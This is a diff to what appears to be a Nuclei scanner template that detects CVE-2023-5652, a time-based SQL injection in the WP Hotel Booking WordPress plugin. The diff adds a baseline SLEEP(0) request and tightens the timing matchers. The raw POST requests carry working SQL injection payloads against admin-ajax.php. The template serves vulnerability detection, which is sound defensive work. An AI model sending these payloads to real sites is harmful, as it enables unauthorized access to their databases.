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22 changes: 15 additions & 7 deletions http/cves/2023/CVE-2023-5652.yaml
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Expand Up @@ -2,7 +2,7 @@ id: CVE-2023-5652

info:
name: WP Hotel Booking <= 2.0.7 - SQL Injection
author: Shivam Kamboj
author: Shivam Kamboj,s4e-io
severity: critical
description: |
WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.
Expand All @@ -22,11 +22,19 @@ info:
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
max-request: 2
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,wp-hotel-booking,unauth

http:
- raw:
- |
@timeout: 15s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(0)), term_id=CASE when 1=1 THEN 1

- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Expand All @@ -38,9 +46,9 @@ http:
matchers:
- type: dsl
dsl:
- 'duration>=8'
- 'regex("^0$", body)'
- 'status_code == 400'
- 'contains(content_type, "text/html")'
- 'duration_2 >= 8'
- 'duration_2 >= duration_1 + 6'
- 'regex("^0$", body_2)'
- 'status_code_2 == 400'
- 'contains(content_type_2, "text/html")'
condition: and
# digest: 4a0a004730450221008879f4e43047983c8c70f5daf1d83ae88616331e8cfcc10fad23cbeb2aa071a5022055a1e3fd28df5c67af461f6cc18040a6f61ce09694cb1ca1173aeed4fdbfd0f4:922c64590222798bb761d5b6d8e72950
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